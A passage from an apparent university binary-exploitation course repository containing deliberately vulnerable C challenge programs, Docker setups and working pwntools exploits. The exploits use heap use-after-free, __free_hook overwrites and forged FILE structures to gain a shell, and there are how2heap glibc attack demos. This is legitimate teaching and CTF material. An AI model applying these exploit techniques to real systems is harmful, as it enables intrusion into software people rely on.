b'/bin/sh\x00'.ljust(0x10, b'B') edit(1, 0x38, data + fake_chunk) edit(2, 0x8, p64(system)) delete(1) r.interactive() ================================================ FILE: 2022/week2/hw/babyums/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week2/hw/babyums/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10008:10001" ================================================ FILE: 2022/week2/hw/babyums/share/Makefile ================================================ all: gcc -o chal babyums.c ================================================ FILE: 2022/week2/hw/babyums/share/babyums.c ================================================ #include #include #include #include #define FLAG1 "flag{XXXXXXXX}" struct User { char name[0x10]; char password[0x10]; void *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x500) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); printf("password\n> "); read(0, users[idx]->password, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = malloc(size); read(0, users[idx]->data, size); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); free(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data); } } void add_admin() { users[0] = malloc(sizeof(*users[0])); strcpy(users[0]->name, "admin"); strcpy(users[0]->password, FLAG1); users[0]->data = NULL; } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** User Management System ****\n"); add_admin(); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; } ================================================ FILE: 2022/week2/hw/babyums/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/week2/hw/babyums/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/week2/hw/babyums/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week2/hw/exp/babyums.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] r = process('./test', aslr=False) r =remote('edu-ctf.zoolab.org', 10007) def add(idx, name): r.sendlineafter('> ', '1') r.sendlineafter('> ', str(idx)) r.sendafter('> ', name) def edit(idx, sz, data): r.sendlineafter('> ', '2') r.sendlineafter('> ', str(idx)) r.sendlineafter('> ', str(sz)) r.send(data) def delete(idx): r.sendlineafter('> ', '3') r.sendlineafter('> ', str(idx)) def show(): r.sendlineafter('> ', '4') ##################################### add(0, 'A'*8) edit(0, 0x418, 'A') add(1, 'B'*8) edit(1, 0x18, 'B') add(2, 'C'*8) delete(0) show() r.recvuntil('data: ') libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 free_hook = libc + 0x1eee48 system = libc + 0x52290 info(f"libc: {hex(libc)}") ##################################### fake_chunk = flat( 0, 0x21, b'CCCCCCCC', b'CCCCCCCC', free_hook, ) data = b'/bin/sh\x00'.ljust(0x10, b'B') edit(1, 0x38, data + fake_chunk) edit(2, 0x8, p64(system)) delete(1) r.interactive() ================================================ FILE: 2022/week2/lab/babynote/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week2/lab/babynote/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10007:10001" ================================================ FILE: 2022/week2/lab/babynote/share/Makefile ================================================ all: gcc -o chal babynote.c ================================================ FILE: 2022/week2/lab/babynote/share/babynote.c ================================================ #include #include #include struct Note { char name[0x10]; void *data; }; struct Note *notes[0x10]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 0x10) printf("no, no ...\n"), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); return size; } void add_note() { short int idx; idx = get_idx(); notes[idx] = malloc(sizeof(*notes[idx])); printf("note name\n> "); read(0, notes[idx]->name, 0x10); notes[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (notes[idx]->data == NULL) notes[idx]->data = malloc(size); read(0, notes[idx]->data, size); printf("success!\n"); } void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); printf("success!\n"); } void show_notes() { for (int i = 0; i < 0x10; i++) { if (notes[i] == NULL || notes[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data); } } int main() { char opt[2]; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); while (1) { printf("1. add_note\n" "2. edit_data\n" "3. del_note\n" "4. show_notes\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_note(); break; case '2': edit_data(); break; case '3': del_note(); break; case '4': show_notes(); break; case '5': exit(0); } } return 0; } ================================================ FILE: 2022/week2/lab/babynote/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/week2/lab/babynote/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null timeout 60 /home/chal/chal ================================================ FILE: 2022/week2/lab/babynote/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week3/demo/Makefile ================================================ all: gcc -g -o fclose_trace fclose_trace.c gcc -g -o fopen_trace fopen_trace.c gcc -g -o fwrite_trace fwrite_trace.c gcc -g -o fread_trace fread_trace.c gcc -g -o rce rce.c ================================================ FILE: 2022/week3/demo/fclose_trace.c ================================================ #include #include int main() { FILE *fp; fp = fopen("/tmp/meow", "r"); fclose(fp); return 0; } ================================================ FILE: 2022/week3/demo/fopen_trace.c ================================================ #include #include int main() { FILE *fp; fp = fopen("/tmp/meow", "r"); fclose(fp); return 0; } ================================================ FILE: 2022/week3/demo/fread_trace.c ================================================ #include #include int main() { FILE *fp; char buf[0x10]; fp = fopen("/tmp/meow", "r"); fread(buf, 0x1, 0x10, fp); fclose(fp); return 0; } ================================================ FILE: 2022/week3/demo/fwrite_trace.c ================================================ #include #include int main() { FILE *fp; char buf[0x10] = "TEST!!"; fp = fopen("/tmp/meow", "w"); fwrite(buf, 0x1, 0x10, fp); fclose(fp); return 0; } ================================================ FILE: 2022/week3/demo/rce.c ================================================ #include #include #include #include int main() { FILE *fp; char *buf; unsigned long addr; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); buf = malloc(0x10); fp = fopen("/tmp/meow", "r"); printf("GIFT: %p\n", system); printf("addr: "); scanf("%ld", &addr); printf("value: "); read(0, (void *)addr, 0x100); read(0, buf, 0x1000); fwrite(buf, 0x1, 1, fp); return 0; } ================================================ FILE: 2022/week3/demo/rce.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] """ struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); }; """ def rce(): padding = p64(0) * 3 + p64(0x1e1) return padding + b'sh\x00' r = process('./rce', env={"LD_PRELOAD": "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=False) payload = rce() r.recvuntil('GIFT: ') system = int(r.recvline()[:-1], 16) libc = system - 0x48850 _IO_file_jumps = libc + 0x1be4a0 fake_vtable = p64(system) * 0x10 r.sendlineafter('addr: ', str(_IO_file_jumps)) r.sendafter('value: ', fake_vtable) sleep(1) payload = rce() gdb.attach(r) r.send(payload) r.interactive() ================================================ FILE: 2022/week3/demo/script ================================================ set exec-wrapper env LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so start ================================================ FILE: 2022/week3/exp/lab_aar_exp.py ================================================ #!/usr/bin/python3 from pwn import * from sys import argv context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] aar_flag_addr = 0x404050 lock_addr = 0x4040a0 padding = p64(0) * 3 + p64(0x1e1) # 從任意記憶體讀資料,印到 stdout def aar(): f = FileStructure(0) f.flags = 0xfbad0800 f._IO_read_end = aar_flag_addr f._IO_write_base = aar_flag_addr f._IO_write_ptr = aar_flag_addr + 0x10 f._IO_write_end = 0 f._lock = lock_addr f.fileno = 1 return padding + bytes(f)[:-8] #r = process('./aar', env={"LD_PRELOAD": "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=False) r = remote('edu-ctf.zoolab.org', 10010) payload = aar() # gdb.attach(r) r.send(payload) r.interactive() ================================================ FILE: 2022/week3/exp/lab_aaw_exp.py ================================================ #!/usr/bin/python3 from pwn import * from sys import argv context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] aaw_owo_addr = 0x404070 lock_addr = 0x4040a0 padding = p64(0) * 3 + p64(0x1e1) # 從 stdin 讀資料,寫到指定記憶體位址 def aaw(): f = FileStructure(0) f.flags = 0xfbad0000 f._IO_buf_base = aaw_owo_addr f._IO_buf_end = aaw_owo_addr + 0x4 f._IO_write_base = aaw_owo_addr f._IO_read_ptr = 0 f._IO_read_end = 0 f._lock = lock_addr f.fileno = 0 return padding + bytes(f)[:-8] # r = process('./aaw', env={"LD_PRELOAD": "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=False) r = remote('edu-ctf.zoolab.org', 10009) payload = aaw() # gdb.attach(r) r.send(payload) sleep(1) #r.sendline(b'A'*8) r.interactive() ================================================ FILE: 2022/week3/exp/miniums.py ================================================ #!/usr/bin/python3 from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] # r = process('./chal', aslr=False) r = remote('edu-ctf.zoolab.org', 10011) # r = process('./chal', env={"LD_PRELOAD": "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=False) """ flags: 0x0 _IO_read_ptr: 0x0 _IO_read_end: 0x0 _IO_read_base: 0x0 _IO_write_base: 0x0 _IO_write_ptr: 0x0 _IO_write_end: 0x0 _IO_buf_base: 0x0 _IO_buf_end: 0x0 _IO_save_base: 0x0 _IO_backup_base: 0x0 _IO_save_end: 0x0 markers: 0x0 chain: 0x0 fileno: 0x0 _flags2: 0x0 _old_offset: 0xffffffffffffffff _cur_column: 0x0 _vtable_offset: 0x0 _shortbuf: 0x0 unknown1: 0x0 _lock: 0xdeadbeef _offset: 0xffffffffffffffff _codecvt: 0x0 _wide_data: 0xdeadbeef unknown2: 0x0 vtable: 0x0 """ users_addr = 0x4040c0 def add(idx, name): r.sendlineafter('> ', '1') r.sendlineafter('> ', str(idx)) r.sendafter('> ', name) def edit(idx, sz, data): r.sendlineafter('> ', '2') r.sendlineafter('> ', str(idx)) r.sendlineafter('> ', str(sz)) r.send(data) def delete(idx): r.sendlineafter('> ', '3') r.sendlineafter('> ', str(idx)) def show(): r.sendlineafter('> ', '4') fake_FILE = flat( 0xfbad0800, # flags 0, 1, 0, # _IO_read 1, 1, 0, # _IO_write 0, 0, # _IO_buf_* 0, 0, 0, # _IO_ other 0, 0, # markers, chain 1, # fileno ) add(0, "A") edit(0, 0x100, b"AAAA") delete(0) edit(0, 0x1d8, fake_FILE) r.recv(0x88) heap = u64(r.recv(8)) - 0x3b0 r.recv(0x48) libc = u64(r.recv(8)) - 0x1e94a0 system = libc + 0x52290 __free_hook = libc + 0x1eee48 info(f"libc: {hex(libc)}") info(f"heap: {hex(heap)}") fake_FILE2 = flat( 0xfbad0008, # flags 0, 0, 0, # _IO_read __free_hook, 0, 0, # _IO_write __free_hook, __free_hook + 0x208, # _IO_buf_* 0, 0, 0, # _IO_ other 0, 0, # markers, chain 0, # fileno ) add(1, "/bin/sh\x00") add(2, "B") edit(2, 0x100, b"BBBB") delete(2) edit(2, 0x1d8, fake_FILE2) show() r.send(p64(system).ljust(512, b'\x00') + b'\n') delete(1) r.interactive() ================================================ FILE: 2022/week3/hw/miniums/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week3/hw/miniums/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10011:10001" ================================================ FILE: 2022/week3/hw/miniums/share/Makefile ================================================ all: gcc -o chal miniums.c ================================================ FILE: 2022/week3/hw/miniums/share/flag ================================================ FLAG{test} ================================================ FILE: 2022/week3/hw/miniums/share/miniums.c ================================================ #include #include #include #include #include struct User { char name[0x10]; int size; FILE *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x200) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; char *buf; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = tmpfile(); buf = malloc(size); read(0, buf, size); fwrite(buf, size, 1, users[idx]->data); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); if (users[idx]->data != NULL) fclose(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { char buf[0x200] = {}; for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: ", i, users[i]->name); fseek(users[i]->data, 0, SEEK_SET); fread(buf, sizeof(buf), 1, users[i]->data); printf("%s\n", buf); } } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** [Mini] User Management System ****\n"); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; } ================================================ FILE: 2022/week3/hw/miniums/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null touch /tmp/meow timeout 60 /home/chal/chal ================================================ FILE: 2022/week3/hw/miniums/share/test.py ================================================ #!/usr/bin/env python3 from pwn import * context.terminal = ['tmux', 'splitw', '-h'] # Global variables args = None elf = None def send_idx(r, index): r.sendlineafter(b'index\n> ', str(index).encode()) def send_size(r, size): r.sendlineafter(b'size\n> ', str(size).encode()) def add_user(r, index, username): r.sendlineafter(b'> ', str(1).encode()) send_idx(r, index) r.sendafter(b'username\n> ', flat(username, filler=b'\x00', length=0x10)) r.recvline_contains(b'success!') def edit_data(r, index, size, data, auto_fill=True): r.sendlineafter(b'> ', str(2).encode()) send_idx(r, index) send_size(r, size) if auto_fill: r.send(flat(data, filler=b'\xFF', length=size)) else: r.send(flat(data)) r.recvline_contains(b'success!') def del_user(r, index, wait_for_msg=True): r.sendlineafter(b'> ', str(3).encode()) send_idx(r, index) if wait_for_msg: r.recvline_contains(b'success!') def show_users(r): r.sendlineafter(b'> ', str(4).encode()) return r.recvuntil(b'1. add_user\n', drop=True) def do_aaw(r): r.sendlineafter(b'> ', str(4).encode()) def attack(r): add_user(r, 0, b'A' * 0x10) add_user(r, 1, b'B' * 0x10) add_user(r, 2, b'C' * 0x10) add_user(r, 3, b'/bin/sh\x00') edit_data(r, 0, 0x18, b'a' * 0x18) gdb.attach(r) edit_data(r, 1, 0x18, b'b' * 0x18) #edit_data(r, 3, 0x18, b'd' * 0x18) # fclose to get a freed FILE chunk and a freed large chunk del_user(r, 0) # Leak libc information # Make it allocate a memory which does not present in the tcache and fastbin # Make sure it would cut down from unsorted bin # The buffer containing the fd address would be written into the data edit_data(r, 2, 0x88, b'\xff', auto_fill=False) userdata = show_users(r) addr_bytes = userdata.split(b'[2] ')[1].split(b'data: ')[1][0:6] log.debug(f"{addr_bytes}") # Get the page address first, then calculate the libc base address libc_addr = (u64(addr_bytes.ljust(8, b'\x00')) & 0xFFFFFFFFFFFFF000) - 0x1ed000 log.info(f"libc base address: {hex(libc_addr)}") free_hook_addr = libc_addr + 0x1eee48 log.info(f"free hook address: {hex(free_hook_addr)}") system_addr = libc_addr + 0x52290 log.info(f"system() address: {hex(system_addr)}") del_user(r, 1) del_user(r, 2) aaw_addr = free_hook_addr aaw_size = 0x208 buf = [ p64(0xfbad0000 | 0x0000), p64(0), # _IO_read_ptr p64(0), # _IO_read_end p64(0), # _IO_read_base p64(0), # _IO_write_base p64(0), # _IO_write_ptr p64(0), # _IO_write_end p64(aaw_addr), # _IO_buf_base p64(aaw_addr + aaw_size), # _IO_buf_end p64(0), # _IO_save_base p64(0), # _IO_backup_base p64(0), # _IO_save_end p64(0), # _markers p64(0), # _chain p32(0), # _fileno p32(0), # _flags2 ] # Create a chunk with size = 0x1e0 which should get an used FILE struct. # And write a fake FILE struct to do arbitrary address write! edit_data(r, 3, 0x1d8, flat(buf), auto_fill=False) userdata = do_aaw(r) r.send(flat(p64(system_addr), filler=b'\x00', length=0x208)) del_user(r, 3, wait_for_msg=False) def main(): r = process("./chal") attack(r) r.interactive() if __name__ == '__main__': main() ================================================ FILE: 2022/week3/hw/miniums/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week3/lab/aar/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week3/lab/aar/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10010:10001" ================================================ FILE: 2022/week3/lab/aar/share/Makefile ================================================ all: gcc -no-pie -o chal aar.c ================================================ FILE: 2022/week3/lab/aar/share/aar.c ================================================ #include #include #include #include char flag[0x10] = "FLAG{TEST}\n"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "w"); read(0, buf, 0x1000); fwrite(buf, 0x10, 1, fp); return 0; } ================================================ FILE: 2022/week3/lab/aar/share/example.c ================================================ #include #include char leak[] = "MEOW!!!"; void aar(FILE *fp, void *addr, int size) { char buf[0x10] = "1234"; fp->_flags = 0xfbad0800; fp->_IO_read_end = fp->_IO_write_base = addr; fp->_IO_write_ptr = (char *)addr + size; fp->_IO_write_end = 0; fp->_fileno = 1; fwrite(buf, 0x10, 1, fp); } int main() { FILE *fp; fp = fopen("/tmp/meow", "w"); aar(fp, leak, sizeof(leak)); fclose(fp); */ return 0; } ================================================ FILE: 2022/week3/lab/aar/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null touch /tmp/meow timeout 60 /home/chal/chal ================================================ FILE: 2022/week3/lab/aar/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: 2022/week3/lab/aaw/Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ================================================ FILE: 2022/week3/lab/aaw/docker-compose.yml ================================================ version: '3' services: chal: build: ./ volumes: - ./share:/home/chal:ro - ./xinetd:/etc/xinetd.d/chal:ro ports: - "10009:10001" ================================================ FILE: 2022/week3/lab/aaw/share/Makefile ================================================ all: gcc -no-pie -o chal aaw.c ================================================ FILE: 2022/week3/lab/aaw/share/aaw.c ================================================ #include #include #include #include #include char flag[0x10] = "FLAG{TEST}\n"; char owo[] = "OWO!"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "r"); read(0, buf, 0x1000); fread(buf, 0x10, 1, fp); if (strcmp(owo, "OWO!") != 0) write(1, flag, sizeof(flag)); return 0; } ================================================ FILE: 2022/week3/lab/aaw/share/example.c ================================================ #include #include char leak[] = "MEOW!!!"; void aaw(FILE *fp, void *addr, int size) { char buf[0x10] = "1234"; fp->_flags = 0xfbad0000; fp->_IO_buf_base = fp->_IO_write_base = addr; fp->_IO_buf_end = (char *)addr + size; fp->_IO_read_ptr = fp->_IO_read_end = 0; fp->_fileno = 0; fread(buf, 0x1, 1, fp); puts(leak); } int main() { FILE *fp; fp = fopen("/tmp/meow", "r"); aaw(fp, leak, sizeof(leak)); fclose(fp); return 0; } ================================================ FILE: 2022/week3/lab/aaw/share/run.sh ================================================ #!/bin/sh exec 2>/dev/null touch /tmp/meow timeout 60 /home/chal/chal ================================================ FILE: 2022/week3/lab/aaw/xinetd ================================================ service chal { disable = no type = UNLISTED socket_type = stream protocol = tcp server = /home/chal/run.sh user = chal port = 10001 flags = REUSE bind = 0.0.0.0 wait = no } ================================================ FILE: Dockerfile ================================================ FROM ubuntu:20.04 MAINTAINER u1f383 ENV DEBIAN_FRONTEND=noninteractive ENV LC_ALL=en_US.UTF-8 RUN apt update && \ apt install -yq gcc && \ apt install -yq gdb && \ apt install -yq git && \ apt install -yq ruby-dev && \ apt install -yq vim-gtk3 && \ apt install -yq fish && \ apt install -yq glibc-source && \ apt install -yq make && \ apt install -yq gawk && \ apt install -yq bison && \ apt install -yq libseccomp-dev && \ apt install -yq tmux && \ apt install -yq wget && \ apt install -yq locales && \ locale-gen en_US.UTF-8 # compile glibc-2.31 RUN cd /usr/src/glibc && \ tar xvf glibc-2.31.tar.xz && \ mkdir glibc_dbg && \ cd glibc_dbg && \ ../glibc-2.31/configure --prefix $PWD --enable-debug && \ make -j4 # install pwndbg RUN git clone https://github.com/pwndbg/pwndbg ~/pwndbg && \ cd ~/pwndbg && \ ./setup.sh # install pwngdb RUN git clone https://github.com/scwuaptx/Pwngdb.git ~/Pwngdb && \ cat ~/Pwngdb/.gdbinit >> ~/.gdbinit && \ sed -i "s/source ~\/peda\/peda.py//g" ~/.gdbinit RUN pip3 install pwntools==4.4.0 RUN gem install seccomp-tools one_gadget RUN ln -s /usr/local/lib/python3.8/dist-packages/bin/ROPgadget /bin/ROPgadget RUN echo "set-option -g default-shell /bin/fish" > /root/.tmux.conf CMD ["/bin/fish"] ================================================ FILE: README.md ================================================ # 交大程式安全 binary exploit 教材 這個 repo 為 2021 與 2022 年交大的程式安全,2021 年的第三週課程由另一名助教 @kia 所負責,請參考 2021 與 2022 目錄下的 README.md。 目錄的結構如下: ``` . ├── Dockerfile # 建構 pwnbox ├── snippet # pwnbox 的執行腳本 ├── week1 │ ├── Pwn-w1.pdf # 投影片 │ ├── demo # 範例 │ │ ├── demo1 │ │ └── ... │ ├── hw # 作業 │ │ ├── hw1 │ │ ├── ... │ │ └── exp # 在 deadline 結束後會更新參考解答 │ └── lab # 課堂習題 │ ├── lab1 │ ├── ... │ └── exp ├── week2 ├── quals # AIS3 EOF qualify 題目 ... ``` ================================================ FILE: how2heap/Makefile ================================================ all: bypass_safe_linking decrypt_safe_linking fastbin_dup fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_mind_fastbin large_bin_attack mmap_overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink house_of_lore bypass_safe_linking: gcc -g -o $@ $@.c decrypt_safe_linking: gcc -g -o $@ $@.c fastbin_dup: gcc -g -o $@ $@.c fastbin_reverse_into_tcache: gcc -g -o $@ $@.c house_of_botcake: gcc -g -o $@ $@.c house_of_einherjar: gcc -g -o $@ $@.c house_of_lore: gcc -g -o $@ $@.c house_of_mind_fastbin: gcc -g -o $@ $@.c large_bin_attack: gcc -g -o $@ $@.c mmap_overlapping_chunks: gcc -g -o $@ $@.c poison_null_byte: gcc -g -o $@ $@.c tcache_house_of_spirit: gcc -g -o $@ $@.c tcache_poisoning: gcc -g -o $@ $@.c tcache_stashing_unlink_attack: gcc -g -o $@ $@.c unsafe_unlink: gcc -g -o $@ $@.c clean: rm bypass_safe_linking decrypt_safe_linking fastbin_dup fastbin_reverse_into_tcache house_of_botcake house_of_einherjar house_of_mind_fastbin large_bin_attack mmap_overlapping_chunks poison_null_byte tcache_house_of_spirit tcache_poisoning tcache_stashing_unlink_attack unsafe_unlink ================================================ FILE: how2heap/README.md ================================================ ## how2heap > 針對 [how2heap](https://github.com/shellphish/how2heap) 中記載的 glibc 2.31 / 2.32 利用技巧加上部分中文註解以及分析 | | **2.31** | **2.32** | **2.34** | | ----------------------------- | -------- | -------- | -------- | | fastbin_dup | ✅ | ✅ | ✅ | | fastbin_reverse_into_tcache | ✅ | ✅ | ✅ | | house_of_botcake | ✅ | ✅ | ✅ | | house_of_einherjar | ✅ | ✅ | ✅ | | house_of_lore | ✅ | ✅ | ✅ | | house_of_mind_fastbin | ✅ | ✅ | ✅ | | large_bin_attack | ✅ | ✅ | ✅ | | mmap_overlapping_chunks | ✅ | ✅ | ✅ | | overlapping_chunks | ✅ | ✅ | ✅ | | poison_bull_byte | ✅ | ✅ | ✅ | | tcache_house_of_spirit | ✅ | ✅ | ✅ | | tcache_poisoning | ✅ | ✅ | ✅ | | tcache_stashing_unlink_attack | ✅ | ✅ | ✅ | | unsafe_unlink | ✅ | ✅ | ✅ | | decrypt_safe_linking | | ✅ | ✅ | | bypass_safe_linking | | ✅ | ✅ | ================================================ FILE: how2heap/bypass_safe_linking.c ================================================ #include #include #include #include #include // Free and NULL out pointer, preventing UAF #define SAFE_FREE(p) { free(p); p = NULL; } // 1-byte overflow. Sets overflown chunk's mchunk_rev_size to 0x140 and // mchunk_size to 0xa0 (clearing the PREV_INUSE flag) char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x40\x01\x00\x00\x00\x00" "\x00\x00\xa0"; // 2-byte overflow. Sets overflown chunk's mchunk_size to 0x140 char *payload2 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x41\x01"; uint64_t arbitrary_variable = 0x11111111; int bypass_demo() { void *tcache_allocs[7]; for( int i = 0; i < 7; i++) tcache_allocs[i] = malloc(0x98); char *chunkA = malloc(0x98); char *chunkB = malloc(0x98); char *chunkC = malloc(0x98); char *chunkD = malloc(0xb8); // 填滿 tcache for (int i = 0; i < 7; i++) SAFE_FREE(tcache_allocs[i]); // put into unsorted bin SAFE_FREE(chunkB); // bof to D and unset its prev_inuse bit: prev_size == 0x140, size == 0xa0 memcpy(chunkC, payload, 0x99); // fake chunk size chunkD[0x98] = '\x21'; // overwrite chkB size from 0xa0 to 0x140, and concat with chkD memcpy(chunkA, payload2, 0x9a); // consolidate with chkB,並將 chunk 放到 unsorted bin 